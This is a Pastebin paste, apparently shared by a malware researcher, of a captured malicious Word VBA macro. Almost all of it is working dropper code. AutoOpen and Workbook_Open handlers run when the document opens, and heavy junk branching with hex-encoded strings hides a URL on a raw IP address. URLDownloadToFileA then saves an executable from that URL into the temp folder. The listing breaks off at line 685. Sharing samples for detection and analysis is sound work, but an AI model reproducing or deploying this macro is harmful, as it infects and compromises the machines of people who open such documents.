Advertisement
dynamoo

Malicious Word macro

Jan 8th, 2015
410
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If Win64 Then
  10.     Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  11. ByVal sdfsdf As String, ByVal fdgtrty As String, ByVal irFgg As Long, _
  12. ByVal fghfgDf As Long) As Long
  13. #Else
  14.     Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  15. ByVal sdfsdf As String, ByVal fdgtrty As String, ByVal irFgg As Long, _
  16. ByVal fghfgDf As Long) As Long
  17. #End If
  18.  
  19.  
  20. Sub çÐÐÐÐàï()
  21. If 951488 = 951488 + 1 Then End
  22. If 7455 < 79 Then
  23. If 231455 = 231455 + 1 Then End
  24. If 1981 < 43 Then
  25. If 214248 = 214248 + 1 Then End
  26. If 4777 < 33 Then
  27.         MsgBox (BHUIGiukdf("4A6B45596B58466C3338"))
  28. End If
  29. If Len(BHUIGiukdf("6A6E506A52786F7631313938")) = Len(BHUIGiukdf("4D58434A614C644A")) Then
  30.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  31. End If
  32.         MsgBox (BHUIGiukdf("564E434B657952703435"))
  33.  
  34. End If
  35. If Len(BHUIGiukdf("4667596C786A526235383839")) = Len(BHUIGiukdf("564D56416F754D71")) Then
  36. If 252271 = 252271 + 1 Then End
  37. If 7315 < 31 Then
  38.         MsgBox (BHUIGiukdf("7145734248416C463631"))
  39. End If
  40. If Len(BHUIGiukdf("55654E697674546331333134")) = Len(BHUIGiukdf("4566694E556F7878")) Then
  41.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  42. End If
  43.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  44.  
  45. End If
  46. If 533546 = 533546 + 1 Then End
  47. If 6161 < 65 Then
  48.         MsgBox (BHUIGiukdf("4C6F6849634349583336"))
  49. End If
  50. If Len(BHUIGiukdf("6C6B636C5063657A31393639")) = Len(BHUIGiukdf("5744504C754D796D")) Then
  51.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  52. End If
  53.         MsgBox (BHUIGiukdf("6A6C65624A66735A3738"))
  54.  
  55.  
  56. End If
  57. If Len(BHUIGiukdf("7853674A6C754B6132333534")) = Len(BHUIGiukdf("4E69416B4852586C")) Then
  58. If 993393 = 993393 + 1 Then End
  59. If 2768 < 22 Then
  60. If 741439 = 741439 + 1 Then End
  61. If 8414 < 27 Then
  62.         MsgBox (BHUIGiukdf("537670697479646A3239"))
  63. End If
  64. If Len(BHUIGiukdf("41444C4F6268645933343132")) = Len(BHUIGiukdf("516C714B73795A6B")) Then
  65.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  66. End If
  67.         MsgBox (BHUIGiukdf("6D4C6863484956413834"))
  68.  
  69. End If
  70. If Len(BHUIGiukdf("4D7A7875656F6C5536363637")) = Len(BHUIGiukdf("63634F556E59784E")) Then
  71. If 749912 = 749912 + 1 Then End
  72. If 9134 < 96 Then
  73.         MsgBox (BHUIGiukdf("7064566564504B463637"))
  74. End If
  75. If Len(BHUIGiukdf("434A667A6543515934313333")) = Len(BHUIGiukdf("626441456E6D4642")) Then
  76.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  77. End If
  78.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  79.  
  80. End If
  81. If 137944 = 137944 + 1 Then End
  82. If 9856 < 32 Then
  83.         MsgBox (BHUIGiukdf("485854636E6558473234"))
  84. End If
  85. If Len(BHUIGiukdf("597168564D64437434383535")) = Len(BHUIGiukdf("484A597559657348")) Then
  86.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  87. End If
  88.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  89.  
  90.  
  91. End If
  92. If 565412 = 565412 + 1 Then End
  93. If 3331 < 99 Then
  94. If 811585 = 811585 + 1 Then End
  95. If 1849 < 94 Then
  96.         MsgBox (BHUIGiukdf("734E725458534F593635"))
  97. End If
  98. If Len(BHUIGiukdf("516F71676964724434373438")) = Len(BHUIGiukdf("66526347544F7574")) Then
  99.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  100. End If
  101.         MsgBox (BHUIGiukdf("6E535473585A79743933"))
  102.  
  103. End If
  104. If Len(BHUIGiukdf("686167536A53756D37323339")) = Len(BHUIGiukdf("737363527648426C")) Then
  105. If 493615 = 493615 + 1 Then End
  106. If 9729 < 54 Then
  107.         MsgBox (BHUIGiukdf("76426C78476E55663835"))
  108. End If
  109. If Len(BHUIGiukdf("5876755463724D5834363238")) = Len(BHUIGiukdf("4A4F686359695157")) Then
  110.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  111. End If
  112.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  113.  
  114. End If
  115. If 448447 = 448447 + 1 Then End
  116. If 6128 < 66 Then
  117.         MsgBox (BHUIGiukdf("4B664B6E7675665A3337"))
  118. End If
  119. If Len(BHUIGiukdf("6B6342715155494931313237")) = Len(BHUIGiukdf("4D4C73516F725161")) Then
  120.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  121. End If
  122. àðãØàâï
  123.  
  124.  
  125.  
  126. End Sub
  127. Sub AutoOpen()
  128. If 723337 = 723337 + 1 Then End
  129. If 6719 < 25 Then
  130. If 774995 = 774995 + 1 Then End
  131. If 5681 < 52 Then
  132. If 443799 = 443799 + 1 Then End
  133. If 8211 < 25 Then
  134.         MsgBox (BHUIGiukdf("6D636A41556E436C3839"))
  135. End If
  136. If Len(BHUIGiukdf("4541586D536B536A33323239")) = Len(BHUIGiukdf("4469644576697A7A")) Then
  137.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  138. End If
  139.         MsgBox (BHUIGiukdf("6C4E526D414C644C3735"))
  140.  
  141. End If
  142. If Len(BHUIGiukdf("644255776261785939363839")) = Len(BHUIGiukdf("654865646E704350")) Then
  143. If 925995 = 925995 + 1 Then End
  144. If 8181 < 76 Then
  145.         MsgBox (BHUIGiukdf("6C7A7865434576673735"))
  146. End If
  147. If Len(BHUIGiukdf("6E77496D7678744632313839")) = Len(BHUIGiukdf("654A5757574D6F79")) Then
  148.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  149. End If
  150.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  151.  
  152. End If
  153. If 122267 = 122267 + 1 Then End
  154. If 5995 < 27 Then
  155.         MsgBox (BHUIGiukdf("7464714E4D4D456A3537"))
  156. End If
  157. If Len(BHUIGiukdf("4153426F5A78484239393134")) = Len(BHUIGiukdf("6343756151414942")) Then
  158.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  159. End If
  160.         MsgBox (BHUIGiukdf("44736D725447544C3237"))
  161.  
  162.  
  163. End If
  164. If Len(BHUIGiukdf("456E7254424E596F31373238")) = Len(BHUIGiukdf("625164636972766F")) Then
  165. If 873543 = 873543 + 1 Then End
  166. If 9735 < 31 Then
  167. If 356129 = 356129 + 1 Then End
  168. If 4396 < 47 Then
  169.         MsgBox (BHUIGiukdf("557849717A7675733139"))
  170. End If
  171. If Len(BHUIGiukdf("7554475767425A6B38323134")) = Len(BHUIGiukdf("5678715168696578")) Then
  172.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  173. End If
  174.         MsgBox (BHUIGiukdf("4A466C674F764C6A3333"))
  175.  
  176. End If
  177. If Len(BHUIGiukdf("5565654765494D5934363334")) = Len(BHUIGiukdf("4A4F6C5647766F6B")) Then
  178. If 995555 = 995555 + 1 Then End
  179. If 4848 < 71 Then
  180.         MsgBox (BHUIGiukdf("567A5968716F58443435"))
  181. End If
  182. If Len(BHUIGiukdf("75797369684E505038373537")) = Len(BHUIGiukdf("6A53456A7A484E77")) Then
  183.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  184. End If
  185.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  186.  
  187. End If
  188. If 761593 = 761593 + 1 Then End
  189. If 9349 < 88 Then
  190.         MsgBox (BHUIGiukdf("696365594E61796B3539"))
  191. End If
  192. If Len(BHUIGiukdf("577A6C594A66567034333438")) = Len(BHUIGiukdf("6363547566517A5A")) Then
  193.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  194. End If
  195.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  196.  
  197.  
  198. End If
  199. If 155818 = 155818 + 1 Then End
  200. If 6177 < 65 Then
  201. If 994255 = 994255 + 1 Then End
  202. If 4834 < 72 Then
  203.         MsgBox (BHUIGiukdf("5672624D566A6F4A3436"))
  204. End If
  205. If Len(BHUIGiukdf("756974446569564638373333")) = Len(BHUIGiukdf("6A46775847566462")) Then
  206.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  207. End If
  208.         MsgBox (BHUIGiukdf("626C63426A4C6F633838"))
  209.  
  210. End If
  211. If Len(BHUIGiukdf("54444F6A4B53474331393735")) = Len(BHUIGiukdf("6F6F584A68704C68")) Then
  212. If 221525 = 221525 + 1 Then End
  213. If 9156 < 95 Then
  214.         MsgBox (BHUIGiukdf("5A4E6552744859713935"))
  215. End If
  216. If Len(BHUIGiukdf("4F6C6758594F645034393535")) = Len(BHUIGiukdf("73475A7865756A7A")) Then
  217.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  218. End If
  219.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  220.  
  221. End If
  222. If 734238 = 734238 + 1 Then End
  223. If 2234 < 88 Then
  224.         MsgBox (BHUIGiukdf("537762574D494A473239"))
  225. End If
  226. If Len(BHUIGiukdf("6F4D66724573656336313333")) = Len(BHUIGiukdf("7479775851685763")) Then
  227.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  228. End If
  229.     çÐÐÐÐàï
  230.  
  231.  
  232.  
  233. End Sub
  234. Sub Workbook_Open()
  235. If 338336 = 338336 + 1 Then End
  236. If 5127 < 45 Then
  237. If 244889 = 244889 + 1 Then End
  238. If 7332 < 39 Then
  239. If 765771 = 765771 + 1 Then End
  240. If 3275 < 37 Then
  241.         MsgBox (BHUIGiukdf("755A5A48784978473531"))
  242. End If
  243. If Len(BHUIGiukdf("665846695641656737323834")) = Len(BHUIGiukdf("486B614F77427955")) Then
  244.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  245. End If
  246.         MsgBox (BHUIGiukdf("714141494E6957433631"))
  247.  
  248. End If
  249. If Len(BHUIGiukdf("494E674A4F50695431323431")) = Len(BHUIGiukdf("457363504A474E52")) Then
  250. If 224464 = 224464 + 1 Then End
  251. If 1821 < 42 Then
  252.         MsgBox (BHUIGiukdf("4E4D674A754C6B573434"))
  253. End If
  254. If Len(BHUIGiukdf("4869426B41656C7135373238")) = Len(BHUIGiukdf("4E46686E664C5558")) Then
  255.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  256. End If
  257.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  258.  
  259. End If
  260. If 321636 = 321636 + 1 Then End
  261. If 2258 < 16 Then
  262.         MsgBox (BHUIGiukdf("51746546747078433136"))
  263. End If
  264. If Len(BHUIGiukdf("4A7667795465727735313536")) = Len(BHUIGiukdf("6D574159656E7546")) Then
  265.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  266. End If
  267.         MsgBox (BHUIGiukdf("4F704A6B54586A4D3137"))
  268.  
  269.  
  270. End If
  271. If Len(BHUIGiukdf("6F6C427A4A78534E38393236")) = Len(BHUIGiukdf("5346735A674D476C")) Then
  272. If 826119 = 826119 + 1 Then End
  273. If 6212 < 66 Then
  274. If 224264 = 224264 + 1 Then End
  275. If 5612 < 13 Then
  276.         MsgBox (BHUIGiukdf("4E4C6B4F4F7A45793434"))
  277. End If
  278. If Len(BHUIGiukdf("786C744B6B52474632393334")) = Len(BHUIGiukdf("59427861726D7462")) Then
  279.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  280. End If
  281.         MsgBox (BHUIGiukdf("766E48624C584D453831"))
  282.  
  283. End If
  284. If Len(BHUIGiukdf("6A624C414A72656A31313131")) = Len(BHUIGiukdf("4C57797A6641754F")) Then
  285. If 924239 = 924239 + 1 Then End
  286. If 8183 < 76 Then
  287.         MsgBox (BHUIGiukdf("4977545974784A6D3139"))
  288. End If
  289. If Len(BHUIGiukdf("6E6D554965524E6933393832")) = Len(BHUIGiukdf("6B73727672446E73")) Then
  290.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  291. End If
  292.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  293.  
  294. End If
  295. If 655931 = 655931 + 1 Then End
  296. If 2433 < 56 Then
  297.         MsgBox (BHUIGiukdf("50545A446B684C483131"))
  298. End If
  299. If Len(BHUIGiukdf("4D4F75546375494436333432")) = Len(BHUIGiukdf("726876466F435676")) Then
  300.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  301. End If
  302.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  303.  
  304.  
  305. End If
  306. If 349776 = 349776 + 1 Then End
  307. If 6877 < 25 Then
  308. If 358738 = 358738 + 1 Then End
  309. If 8115 < 75 Then
  310.         MsgBox (BHUIGiukdf("496D464A676244733138"))
  311. End If
  312. If Len(BHUIGiukdf("46464E6F486C6D5035343237")) = Len(BHUIGiukdf("6B70644F66486365")) Then
  313.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  314. End If
  315.         MsgBox (BHUIGiukdf("79794D706E6A70503536"))
  316.  
  317. End If
  318. If Len(BHUIGiukdf("5A52496C704D776C33323839")) = Len(BHUIGiukdf("53714E4158505174")) Then
  319. If 526627 = 526627 + 1 Then End
  320. If 4833 < 15 Then
  321.         MsgBox (BHUIGiukdf("5466556C494F516C3937"))
  322. End If
  323. If Len(BHUIGiukdf("77416A4D654C534938373432")) = Len(BHUIGiukdf("6A44624471434555")) Then
  324.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  325. End If
  326.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  327.  
  328. End If
  329. If 921596 = 921596 + 1 Then End
  330. If 8256 < 76 Then
  331.         MsgBox (BHUIGiukdf("6C747452575759673736"))
  332. End If
  333. If Len(BHUIGiukdf("62766A587847644632313535")) = Len(BHUIGiukdf("655745784D736A75")) Then
  334.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  335. End If
  336.     çÐÐÐÐàï
  337.  
  338.  
  339.  
  340. End Sub
  341. Sub àðãØàâï()
  342. If 859841 = 859841 + 1 Then End
  343. If 3482 < 67 Then
  344. If 434171 = 434171 + 1 Then End
  345. If 6975 < 65 Then
  346. If 715146 = 715146 + 1 Then End
  347. If 8149 < 24 Then
  348.         MsgBox (BHUIGiukdf("476945474B4363773236"))
  349. End If
  350. If Len(BHUIGiukdf("547764687369765133313538")) = Len(BHUIGiukdf("477A527656564678")) Then
  351.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  352. End If
  353.         MsgBox (BHUIGiukdf("4B696D6F4549696A3336"))
  354.  
  355. End If
  356. If Len(BHUIGiukdf("5453516F6D57616931393734")) = Len(BHUIGiukdf("6F69564F4A6C726E")) Then
  357. If 656583 = 656583 + 1 Then End
  358. If 7391 < 77 Then
  359.         MsgBox (BHUIGiukdf("664846426C546A423633"))
  360. End If
  361. If Len(BHUIGiukdf("444E58495979517935363232")) = Len(BHUIGiukdf("68776F6F655A4663")) Then
  362.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  363. End If
  364.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  365.  
  366. End If
  367. If 539384 = 539384 + 1 Then End
  368. If 4979 < 72 Then
  369.         MsgBox (BHUIGiukdf("6A424A46525957463735"))
  370. End If
  371. If Len(BHUIGiukdf("75646E685648587238383738")) = Len(BHUIGiukdf("6A4C4B7650597147")) Then
  372.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  373. End If
  374.         MsgBox (BHUIGiukdf("4B556159475366623937"))
  375.  
  376.  
  377. End If
  378. If Len(BHUIGiukdf("7A5154624D45657837333831")) = Len(BHUIGiukdf("736B4349596C6B75")) Then
  379. If 832258 = 832258 + 1 Then End
  380. If 4195 < 74 Then
  381. If 451963 = 451963 + 1 Then End
  382. If 3541 < 29 Then
  383.         MsgBox (BHUIGiukdf("744A706C6D656C593533"))
  384. End If
  385. If Len(BHUIGiukdf("5648646C6C71416C36343539")) = Len(BHUIGiukdf("6E73624D47555453")) Then
  386.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  387. End If
  388.         MsgBox (BHUIGiukdf("576C71436F5562793338"))
  389.  
  390. End If
  391. If Len(BHUIGiukdf("727848476676676538313134")) = Len(BHUIGiukdf("666575564E674546")) Then
  392. If 543729 = 543729 + 1 Then End
  393. If 4114 < 97 Then
  394.         MsgBox (BHUIGiukdf("456E6D41585071713931"))
  395. End If
  396. If Len(BHUIGiukdf("6C4772656A4D736E31343336")) = Len(BHUIGiukdf("4577777365506E73")) Then
  397.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  398. End If
  399.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  400.  
  401. End If
  402. If 918538 = 918538 + 1 Then End
  403. If 8936 < 75 Then
  404.         MsgBox (BHUIGiukdf("4F6A6158626265413138"))
  405. End If
  406. If Len(BHUIGiukdf("416872437859646733393335")) = Len(BHUIGiukdf("6C7562466348446C")) Then
  407.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  408. End If
  409.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  410.  
  411.  
  412. End If
  413. If 872224 = 872224 + 1 Then End
  414. If 1447 < 19 Then
  415. If 539385 = 539385 + 1 Then End
  416. If 4979 < 72 Then
  417.         MsgBox (BHUIGiukdf("6A424A51587258783735"))
  418. End If
  419. If Len(BHUIGiukdf("75666E736A66435338383737")) = Len(BHUIGiukdf("6A4D4B6D65726463")) Then
  420.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  421. End If
  422.         MsgBox (BHUIGiukdf("5A566755487A46643935"))
  423.  
  424. End If
  425. If Len(BHUIGiukdf("6575786A655A706C37373638")) = Len(BHUIGiukdf("545A4F4A62426451")) Then
  426. If 789496 = 789496 + 1 Then End
  427. If 9528 < 81 Then
  428.         MsgBox (BHUIGiukdf("6C7465475779626C3836"))
  429. End If
  430. If Len(BHUIGiukdf("4C66717669594D7636383431")) = Len(BHUIGiukdf("784F63425465564A")) Then
  431.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  432. End If
  433.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  434.  
  435. End If
  436. If 756431 = 756431 + 1 Then End
  437. If 5141 < 28 Then
  438.         MsgBox (BHUIGiukdf("514551717257464E3231"))
  439. End If
  440. If Len(BHUIGiukdf("414A6D516374476839313439")) = Len(BHUIGiukdf("63654545546F5967")) Then
  441.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  442. End If
  443.     ùÐÃØðùàâï = BHUIGiukdf("687474703A2F2F3138382E3234312E3131362E36333A383038302F6D6F70732F706F70732E706870")
  444.  
  445.  
  446.  
  447. If 598177 = 598177 + 1 Then End
  448. If 3832 < 34 Then
  449. If 488414 = 488414 + 1 Then End
  450. If 3461 < 92 Then
  451. If 446547 = 446547 + 1 Then End
  452. If 6299 < 66 Then
  453.         MsgBox (BHUIGiukdf("4C6749454C7173793337"))
  454. End If
  455. If Len(BHUIGiukdf("6C6347667951597331313138")) = Len(BHUIGiukdf("6F677174754D7568")) Then
  456.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  457. End If
  458.         MsgBox (BHUIGiukdf("624D5769526F766D3834"))
  459.  
  460. End If
  461. If Len(BHUIGiukdf("6869524F426C625037343639")) = Len(BHUIGiukdf("736C444175636A50")) Then
  462. If 264572 = 264572 + 1 Then End
  463. If 6438 < 97 Then
  464.         MsgBox (BHUIGiukdf("71506264484E764D3632"))
  465. End If
  466. If Len(BHUIGiukdf("6C467279574A644831343336")) = Len(BHUIGiukdf("456D776755555A41")) Then
  467.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  468. End If
  469.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  470.  
  471. End If
  472. If 621899 = 621899 + 1 Then End
  473. If 8944 < 84 Then
  474.         MsgBox (BHUIGiukdf("6572654E5373774B3536"))
  475. End If
  476. If Len(BHUIGiukdf("48496C4E5A63664F33383433")) = Len(BHUIGiukdf("6C72546E4E576A7A")) Then
  477.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  478. End If
  479.         MsgBox (BHUIGiukdf("6F64656246626B4B3637"))
  480.  
  481.  
  482. End If
  483. If Len(BHUIGiukdf("7A73794153556E5937383331")) = Len(BHUIGiukdf("4B7A416C44486150")) Then
  484. If 392834 = 392834 + 1 Then End
  485. If 5754 < 52 Then
  486. If 886444 = 886444 + 1 Then End
  487. If 6441 < 32 Then
  488.         MsgBox (BHUIGiukdf("4A4D53704E455A633334"))
  489. End If
  490. If Len(BHUIGiukdf("556977506C44454431343539")) = Len(BHUIGiukdf("456C525A414A6D53")) Then
  491.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  492. End If
  493.         MsgBox (BHUIGiukdf("534C71426356787A3234"))
  494.  
  495. End If
  496. If Len(BHUIGiukdf("737A6B4F50764B6939363632")) = Len(BHUIGiukdf("477652706957576E")) Then
  497. If 746777 = 746777 + 1 Then End
  498. If 9292 < 96 Then
  499.         MsgBox (BHUIGiukdf("7068454B586C47733638"))
  500. End If
  501. If Len(BHUIGiukdf("4F76515A6F4C706B34313931")) = Len(BHUIGiukdf("73575665546A6650")) Then
  502.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  503. End If
  504.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  505.  
  506. End If
  507. If 879143 = 879143 + 1 Then End
  508. If 7377 < 31 Then
  509.         MsgBox (BHUIGiukdf("4B47724B56486A623333"))
  510. End If
  511. If Len(BHUIGiukdf("4972446C6B4E6B4731333836")) = Len(BHUIGiukdf("5268587162727046")) Then
  512.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  513. End If
  514.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  515.  
  516.  
  517. End If
  518. If 735738 = 735738 + 1 Then End
  519. If 6934 < 26 Then
  520. If 828985 = 828985 + 1 Then End
  521. If 1824 < 94 Then
  522.         MsgBox (BHUIGiukdf("64614861464A677A3635"))
  523. End If
  524. If Len(BHUIGiukdf("4E5275615472694D35383233")) = Len(BHUIGiukdf("5A616C417A6E7164")) Then
  525.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  526. End If
  527.         MsgBox (BHUIGiukdf("536D455A6C6573583239"))
  528.  
  529. End If
  530. If Len(BHUIGiukdf("5A4F64654464647133333536")) = Len(BHUIGiukdf("5368527376654158")) Then
  531. If 455291 = 455291 + 1 Then End
  532. If 8345 < 26 Then
  533.         MsgBox (BHUIGiukdf("6D4552584A4C79793831"))
  534. End If
  535. If Len(BHUIGiukdf("525570465850576533333433")) = Len(BHUIGiukdf("46644143496E7146")) Then
  536.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  537. End If
  538.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  539.  
  540. End If
  541. If 621899 = 621899 + 1 Then End
  542. If 8943 < 84 Then
  543.         MsgBox (BHUIGiukdf("6B636673786579743739"))
  544. End If
  545. If Len(BHUIGiukdf("4A55775749456E7335333635")) = Len(BHUIGiukdf("6C65497779614545")) Then
  546.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  547. End If
  548.     òÎÐØàâï = Environ(BHUIGiukdf("54454D50")) & BHUIGiukdf("5C3156324D555932585759534658512E657865")
  549.  
  550.  
  551.  
  552. If 486314 = 486314 + 1 Then End
  553. If 6853 < 82 Then
  554. If 767671 = 767671 + 1 Then End
  555. If 3295 < 37 Then
  556. If 414716 = 414716 + 1 Then End
  557. If 9921 < 56 Then
  558.         MsgBox (BHUIGiukdf("76697841517450543836"))
  559. End If
  560. If Len(BHUIGiukdf("575570506D49436634383339")) = Len(BHUIGiukdf("4A4B6C5A5A534764")) Then
  561.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  562. End If
  563.         MsgBox (BHUIGiukdf("794153447A5276643531"))
  564.  
  565. End If
  566. If Len(BHUIGiukdf("645856744563745137313133")) = Len(BHUIGiukdf("486B715461576F72")) Then
  567. If 833211 = 833211 + 1 Then End
  568. If 6264 < 67 Then
  569.         MsgBox (BHUIGiukdf("625A6D59476650443831"))
  570. End If
  571. If Len(BHUIGiukdf("6B416349536D4C6E31323732")) = Len(BHUIGiukdf("6F6B4C6244526D52")) Then
  572.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  573. End If
  574.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  575.  
  576. End If
  577. If 917156 = 917156 + 1 Then End
  578. If 4964 < 72 Then
  579.         MsgBox (BHUIGiukdf("566F4B4B584348683133"))
  580. End If
  581. If Len(BHUIGiukdf("756463506146546438383733")) = Len(BHUIGiukdf("6A4C464D44524D56")) Then
  582.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  583. End If
  584.         MsgBox (BHUIGiukdf("764349656D706F743834"))
  585.  
  586.  
  587. End If
  588. If Len(BHUIGiukdf("67736B52466C706D39383632")) = Len(BHUIGiukdf("764B4F446E707679")) Then
  589. If 989731 = 989731 + 1 Then End
  590. If 8574 < 28 Then
  591. If 643882 = 643882 + 1 Then End
  592. If 8164 < 76 Then
  593.         MsgBox (BHUIGiukdf("68557668656E536F3732"))
  594. End If
  595. If Len(BHUIGiukdf("474A594E6761756735343835")) = Len(BHUIGiukdf("6B644C6E53767155")) Then
  596.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  597. End If
  598.         MsgBox (BHUIGiukdf("50454D69474E50623131"))
  599.  
  600. End If
  601. If Len(BHUIGiukdf("6E4A454F6F71514732343832")) = Len(BHUIGiukdf("5063574B57614E6E")) Then
  602. If 578713 = 578713 + 1 Then End
  603. If 9671 < 38 Then
  604.         MsgBox (BHUIGiukdf("414A43766D626C753933"))
  605. End If
  606. If Len(BHUIGiukdf("5057416B626A6F7234353738")) = Len(BHUIGiukdf("4D6E4C6E73796347")) Then
  607.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  608. End If
  609.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  610.  
  611. End If
  612. If 171911 = 171911 + 1 Then End
  613. If 3544 < 29 Then
  614.         MsgBox (BHUIGiukdf("76597A726C5152643832"))
  615. End If
  616. If Len(BHUIGiukdf("5648704459734E6C37343433")) = Len(BHUIGiukdf("6E737866654F6551")) Then
  617.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  618. End If
  619.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  620.  
  621.  
  622. End If
  623. If 323636 = 323636 + 1 Then End
  624. If 8754 < 83 Then
  625. If 396761 = 396761 + 1 Then End
  626. If 5337 < 11 Then
  627.         MsgBox (BHUIGiukdf("6554627356686C4E3531"))
  628. End If
  629. If Len(BHUIGiukdf("6272646D554B524F32373539")) = Len(BHUIGiukdf("4F5052456C494D6C")) Then
  630.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  631. End If
  632.         MsgBox (BHUIGiukdf("507464514F79626C3136"))
  633.  
  634. End If
  635. If Len(BHUIGiukdf("4A7676657142794C35313736")) = Len(BHUIGiukdf("6C4D514549786F71")) Then
  636. If 298847 = 298847 + 1 Then End
  637. If 1829 < 94 Then
  638.         MsgBox (BHUIGiukdf("4C7142664455506B3337"))
  639. End If
  640. If Len(BHUIGiukdf("53707A6850464C7434373338")) = Len(BHUIGiukdf("5A4E637553566D6F")) Then
  641.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  642. End If
  643.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  644.  
  645. End If
  646. If 432698 = 432698 + 1 Then End
  647. If 8299 < 25 Then
  648.         MsgBox (BHUIGiukdf("78777178756D6F6F3839"))
  649. End If
  650. If Len(BHUIGiukdf("546248677373437433313138")) = Len(BHUIGiukdf("47796963567A6448")) Then
  651.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  652. End If
  653.     øÐØÃàâï = URLDownloadToFileA(0&, ùÐÃØðùàâï, òÎÐØàâï, 0&, 0&)
  654.  
  655.  
  656.  
  657. If 473541 = 473541 + 1 Then End
  658. If 5561 < 59 Then
  659. If 423497 = 423497 + 1 Then End
  660. If 8927 < 57 Then
  661. If 355438 = 355438 + 1 Then End
  662. If 1586 < 19 Then
  663.         MsgBox (BHUIGiukdf("4F77635A4A4F48683139"))
  664. End If
  665. If Len(BHUIGiukdf("48474F4D6C5A784635343934")) = Len(BHUIGiukdf("6C715877474E6E75")) Then
  666.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  667. End If
  668.         MsgBox (BHUIGiukdf("78736C6F707841503837"))
  669.  
  670. End If
  671. If Len(BHUIGiukdf("4C50696B4B4E446C33393236")) = Len(BHUIGiukdf("47586A716172546C")) Then
  672. If 317486 = 317486 + 1 Then End
  673. If 2751 < 74 Then
  674.         MsgBox (BHUIGiukdf("687046694679715A3737"))
  675. End If
  676. If Len(BHUIGiukdf("747663496968734B35363539")) = Len(BHUIGiukdf("614F59416A6C654B")) Then
  677.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  678. End If
  679.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  680.  
  681. End If
  682. If 526779 = 526779 + 1 Then End
  683. If 3119 < 36 Then
  684.         MsgBox (BHUIGiukdf("6F764670726C6C553639"))
  685. End If
